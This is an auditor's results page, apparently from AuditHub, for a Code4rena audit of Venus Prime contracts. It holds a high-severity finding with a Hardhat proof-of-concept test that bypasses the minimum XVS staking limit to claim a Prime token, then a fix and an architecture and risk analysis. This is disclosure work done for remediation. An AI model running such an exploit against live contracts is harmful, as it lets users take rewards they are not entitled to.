Venus Prime - 3agle's results

Earn, borrow & lend on the #1 Decentralized Money Market on the BNB chain.

General Information

Platform: Code4rena

Start Date: 28/09/2023

Pot Size: $36,500 USDC

Total HM: 5

Participants: 115

Period: 6 days

Judge: 0xDjango

Total Solo HM: 1

Id: 290

League: ETH

Venus Protocol

Findings Distribution

Researcher Performance

Rank: 14/115

Findings: 2

Award: $332.18

Analysis:
grade-a

🌟 Selected for report: 1

πŸš€ Solo Findings: 0

Awards

124.9633 USDC - $124.96

Labels

bug
3 (High Risk)
satisfactory
duplicate-633

External Links

Lines of code

https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L334-L342 https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L397-L405

Vulnerability details

Impact

  • A staker can circumvent the minimum staking limit and continue to receive rewards from the markets.

  • High Impact + Medium Likelihood β†’ High Severity

  • Here’s a scenario that demonstrates this issue:

    • Alice initially stakes 10000 XVS tokens. After 90 days, she becomes eligible to claim a revocable Prime Token but chooses not to. Later, she meets the requirements for an irrevocable Prime Token and is minted one.
    • Subsequently, Alice withdraws 9500 XVS from the XVS Vault, which is less than the MINIMUM_STAKED_XVS. However, since she possesses an irrevocable token, she can do this and continue earning interest.
    • She intentionally keeps her staked amount below the minimum requirement, leading the governance to burn her irrevocable token.
    • It's discovered that when Alice received the irrevocable token, her stakedAt[] value was not reset.
    //A code snippet of Prime::issue()
    
    for (uint256 i = 0; i < users.length; ) {
        Token storage userToken = tokens[users[i]];
        if (userToken.exists && !userToken.isIrrevocable) {
            _upgrade(users[i]);
        } else {
            _mint(true, users[i]);
            _initializeMarkets(users[i]); 
            
    				//@audit Missing `delete stakedAt[users[i]];` (Bypass staking limit)
        }
    
        unchecked {
            i++;
        }
    }
    • Therefore, she calls the Prime::claim() function. As her stakedAt value is older than 90 days, she becomes eligible to claim the revocable Prime Token and can start earning interest with her 500 XVS stake.
    function claim() external {
    	  //@audit No check for minimum stake amount
        if (stakedAt[msg.sender] == 0) revert IneligibleToClaim();
        if (block.timestamp - stakedAt[msg.sender] < STAKING_PERIOD) revert WaitMoreTime();
    
        stakedAt[msg.sender] = 0;
    
        _mint(false, msg.sender);
        _initializeMarkets(msg.sender);
    }

Proof of Concept

  • Add the following test after Line 442 in describe("mint and burn”) section in Prime.ts
  • Run with npx hardhat test tests/hardhat/Prime/Prime.ts
it.only("POC for bypassing minimum staking limit", async () => {
      console.log("----------------------🟑 Starting Attack 🟑-------------------------");
      console.log("[+] Alice deposits 10000 XVS");
      await xvs.connect(user1).approve(xvsVault.address, bigNumber18.mul(10000));
      await xvsVault.connect(user1).deposit(xvs.address, 0, bigNumber18.mul(10000));
      let user1Info = await xvsVault.connect(user1).getUserInfo(xvs.address, 0, user1.getAddress());
      console.log("[+] Alice's balance: %s", user1Info.amount.toString());

      console.log("[+] Alice gets an irrevocable token minted");
      await prime.issue(true, [user1.getAddress()]);
      let token = await prime.tokens(user1.getAddress());
      expect(token.exists).to.be.equal(true);
      expect(token.isIrrevocable).to.be.equal(true);

      console.log("[+] Alice withdraws 9500 XVS");
      await mine(1000);
      await xvsVault.connect(user1).requestWithdrawal(xvs.address, 0, bigNumber18.mul(9500));
      await mine(500);
      await xvsVault.connect(user1).executeWithdrawal(xvs.address, 0);

      user1Info = await xvsVault.connect(user1).getUserInfo(xvs.address, 0, user1.getAddress());
      console.log("[+] Alice's balance: %s", user1Info.amount.toString());

      console.log("[+] Alice's Irrevocable token gets burned");
      await prime.burn(user1.getAddress());
      token = await prime.tokens(user1.getAddress());
      expect(token.isIrrevocable).to.be.equal(false);
      expect(token.exists).to.be.equal(false);

      console.log("[+] 90+ days passed...");
      await mine(77760000);

      console.log("[+] Alice claims revocable token even though her balance is 500 XVS");
      await prime.connect(user1).claim();
      token = await prime.tokens(user1.getAddress());
      expect(token.isIrrevocable).to.be.equal(false);
      expect(token.exists).to.be.equal(true);

      console.log("-----------------------πŸ”΄ Attack Successful πŸ”΄------------------------");
    });
  • Output
PrimeScenario Token
    mint and burn
----------------------🟑 Starting Attack 🟑-------------------------
[+] Alice deposits 10000 XVS
[+] Alice's balance: 10000000000000000000000
[+] Alice gets an irrevocable token minted
[+] Alice withdraws 9500 XVS
[+] Alice's balance: 500000000000000000000
[+] Alice's Irrevocable token gets burned
[+] 90+ days passed...
[+] Alice claims revocable token even though her balance is 500 XVS
-----------------------πŸ”΄ Attack Successful πŸ”΄------------------------
      βœ” POC for bypassing minimum staking limit (552ms)

Tools Used

Manual Review

  • To mitigate this issue, reset the stakedAt[user] value after issuing an irrevocable token. This prevents potential problems when the user later calls the Prime::claim() function.
for (uint256 i = 0; i < users.length; ) {
    Token storage userToken = tokens[users[i]];
    if (userToken.exists && !userToken.isIrrevocable) {
        _upgrade(users[i]);
    } else {
        _mint(true, users[i]);
        _initializeMarkets(users[i]); 
        delete stakedAt[users[i]];  // <- Mitigation
    }

    unchecked {
        i++;
    }
}

Assessed type

Context

#0 - c4-pre-sort

2023-10-04T23:53:25Z

0xRobocop marked the issue as duplicate of #633

#1 - c4-judge

2023-11-01T02:23:13Z

fatherGoose1 marked the issue as satisfactory

Findings Information

Labels

analysis-advanced
grade-a
selected for report
sufficient quality report
A-06

Awards

207.2161 USDC - $207.22

External Links

Analysis of Venus Prime

Index


Codebase quality

  • The codebase exhibited remarkable quality. It has undergone multiple audits, ensuring the robustness of all major functionalities.

Strengths

  • Comprehensive unit tests
  • Utilization of Natspec
  • Adoption of governance for major changes, reducing centaralization risks.

Weaknesses

  • Documentation had room for improvement.

Mechanism Review

Architecture & Working

  • Following are the main components of the Venus Prime system:
    1. Prime.sol:
      • Description: Prime.sol serves as the central contract responsible for distributing both revocable and irrevocable tokens to stakers.
      • Functionality: This contract plays a pivotal role in issuing Prime tokens to eligible stakers, enabling them to participate in the Venus Prime program and earn rewards.
    2. ProtocolLiquidityProvider:
      • Description: The ProtocolLiquidityProvider contract holds a reserve of funds that are designated for gradual allocation to the Prime contract over a predefined time period.
      • Functionality: This component ensures a consistent and planned provision of tokens to the Prime contract, guaranteeing a continuous supply of rewards for Prime token holders.
    3. ProtocolShareReserve (OOS):
      • Description: The ProtocolShareReserve acts as the repository for interest earnings generated across all prime markets within the Venus Protocol.
      • Functionality: It collects the interest earnings and acts as a centralized pool from which the Prime contract draws the necessary funds. These funds are then distributed as rewards to Prime token holders, contributing to the sustainability of the Venus Prime program.
https://res.cloudinary.com/duqxx6dlj/image/upload/v1696427287/VenusPrime/Untitled_ezmccy.png

Rewarding Mechanism

https://res.cloudinary.com/duqxx6dlj/image/upload/v1696427286/VenusPrime/Untitled_1_knefs7.png
  1. Initialization (Block 0):
    • Variables are set to default values.
  2. Income and Scoring (Blocks 1-10):
    • Over 10 blocks, 20 USDT income is distributed.
    • User scores total 50, allocating 0.4 USDT per score point.
    • markets[vToken].rewardIndex increases by +0.4.
  3. Income and Scoring (Blocks 11-30):
    • Next 20 blocks distribute 10 USDT.
    • User scores remain constant.
    • markets[vToken].rewardIndex increases by +0.2.
  4. User Claims a Prime Token (Block 35):
    • User claims a Prime token.
    • markets[vToken].rewardIndex updated via accrueInterest.
    • Over 5 blocks, 5 USDT income with no score change.
    • markets[vToken].rewardIndex increases by +0.1.
    • interests[market][account].rewardIndex set to markets[market].rewardIndex.
  5. User Claims Interest (Block 50):
    • User claims accrued interests.
    • markets[vToken].rewardIndex updated via accrueInterest.
    • Over 15 blocks, 120 USDT income with score change (sum of scores becomes 60).
    • markets[vToken].rewardIndex increases by +2.
  6. Interest Calculation for the User:
    • User's interest calculated using _interestAccrued.
    • The difference between markets[vToken].rewardIndex (2.7) and interests[market][account].rewardIndex (0.7) is 2 USDT per score point.
    • Multiplied by user's score (10) equals 20 USDT accrued interest.
  7. Updating User's Reward Index:
    • interests[vToken][user].rewardIndex set to the new markets[vToken].rewardIndex.

Prime

https://res.cloudinary.com/duqxx6dlj/image/upload/v1696427287/VenusPrime/Untitled_2_czwzkp.png
  • Prime.sol is a critical component of Venus Protocol, offering users the opportunity to earn rewards generated from specific markets within the protocol. Here's how it works:
    • To be eligible for a Prime token, regular users must stake a minimum of 1,000 XVS for a continuous period of 90 days.
    • Once this condition is met, users can claim their Prime token, signaling the beginning of rewards accrual.
    • Prime token holders have the flexibility to claim their accrued rewards at their convenience.

Key Features and Functions in Prime.sol:

  • Utilizes the Cobb-Douglas function to calculate user rewards.
  • Offers two types of Prime Tokens:
    • Revocable: Can be minted after staking a minimum of 1,000 XVS for 90 days but can be burnt if the stake falls below 1,000 XVS.
    • Irrevocable (Phase 2) - Specifics for this token type will be detailed in Phase 2 of the Venus Prime program.

PrimeLiquidityProvider

https://res.cloudinary.com/duqxx6dlj/image/upload/v1696427286/VenusPrime/Untitled_3_f6zbiq.png
  • PrimeLiquidityProvider.sol serves as the second source of tokens for the Prime program, complementing the tokens generated by Venus markets. Key details include:
    • This contract, PrimeLiquidityProvider, allocates a predetermined quantity of tokens to Prime holders in a uniform manner over a defined period.

Key Features and Functions in PrimeLiquidityProvider.sol:

  • Ability to add new tokens for rewards accrual.
  • Configurable token distribution speed.
  • Safeguard mechanisms for accidentally sent tokens.
  • Ability to pause and resume token transfers, ensuring control and stability within the program.

Architecture Recommendations

  • Staking and Earning Venus Prime Tokens: These are essential parts of the Venus Prime Yield Protocol. Let's break them down and talk about ways to make them even better:
  • Staking as it is now:
    • Right now, if you want to earn a Prime Token, you have to lock up at least 1,000 XVS for 90 days. This Prime Token represents the XVS you've staked and comes with some perks. But if you take out some XVS and drop below 1,000, you'll lose your Prime Token.
  • Ways to Make Staking Better:
    • Different Staking Levels: Instead of one fixed requirement, we could have different levels for staking. This way, even if you have fewer tokens, you can join in. Different levels might offer different bonuses to encourage more staking.
    • Flexible Staking Time: We could let you choose how long you want to stake your XVS, depending on what suits you. Staking for longer could mean more rewards, which could motivate people to keep their XVS locked up longer.
    • Smart Staking Rules: The rules for how much you need to stake could change depending on how the market is doing and how much XVS is worth. This could help keep things steady and reliable.
  • What You Can Do with Venus Prime Tokens:
    • More Ways to Use Them: We could give you more things to do with your Prime Tokens, so they're even more useful in the Venus ecosystem. That could encourage more people to join in.
    • These tokens are like keys to the Venus ecosystem. You can use them to vote on changes, earn rewards, and access different parts of the system.
  • These changes could make staking easier and more rewarding, and make Venus Prime Tokens more valuable. It's all about making the system better for everyone.

Centralization Risks

  • Smart Contract Centralization: The protocol is based on smart contracts, which are autonomous and decentralized by nature. However, the developers of the protocol have the ability to update or modify these contracts, introducing a potential point of centralization. If these powers are abused or misused, it could lead to centralization risks
  • Governance Centralization: The governance of Venus Prime is controlled by XVS token holders. If a small group of individuals or entities comes to own a large portion of XVS tokens, they could potentially control the governance of the protocol, leading to centralization. This can include making decisions that favor them at the expense of other users

Systemic Risks

  1. Governance Risk: The protocol faced a hacking attempt where the attacker tried to gain control of the protocol by bribery (VIP42). Although the attempt was thwarted, it highlights the risk of governance attacks
  2. Risk Fund Adequacy: Venus has a risk fund established to address potential shortfalls in the protocol, particularly in situations of ineffective or delayed liquidations. However, if the fund is not adequate to cover a major event, it could potentially result in a systemic risk
  3. Price Oracle Resilience: Venus V4 introduces resilient price feeds. If these feeds fail or provide inaccurate data, it could potentially destabilize the system. The protocol's resilience to such an event is yet to be tested
  4. Dependence on XVS Staking: Venus Prime requires users to stake at least 1,000 XVS for 90 days to mint their Prime Token. If a user decides to withdraw XVS and their balance falls below 1,000, their Prime Token will be automatically revoked. This introduces a risk if there's a significant drop in the value of XVS or if a large number of users decide to unstake and sell their XVS simultaneously

Key Takeaways

  1. Dual Token System: The protocol introduces a bifurcated token system, comprising revocable and irrevocable Prime tokens. Each token variant carries its unique rules and benefits, offering users a versatile array of choices.
  2. Sustainable Rewards: Diverging from conventional incentive models dependent on external sources, Venus Prime generates its rewards intrinsically within the protocol. This inherent mechanism not only fosters sustainability but also augments the potential for long-term growth.
  3. Long-Term Commitment: Users are incentivized to uphold a commitment to the protocol by staking XVS tokens for a minimum duration of 90 days. This prolonged engagement serves the dual purpose of fostering dedication and dissuading premature withdrawals.
  4. Complex Reward Calculation: Venus Prime employs a sophisticated reward calculation formula known as the Cobb-Douglas function to ascertain user rewards. This intricacy, while daunting on the surface, is intricately designed to uphold principles of equity and precision in reward distribution.

Time spent:

45 hours

#0 - 0xRobocop

2023-10-07T05:35:02Z

Most of the text feels as generic recommendations. I think the analysis is legit though, and provided illustrations helps.

#1 - c4-pre-sort

2023-10-07T05:35:07Z

0xRobocop marked the issue as sufficient quality report

#2 - c4-judge

2023-11-03T20:23:13Z

fatherGoose1 marked the issue as grade-a

#3 - c4-judge

2023-11-05T00:31:31Z

fatherGoose1 marked the issue as selected for report

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter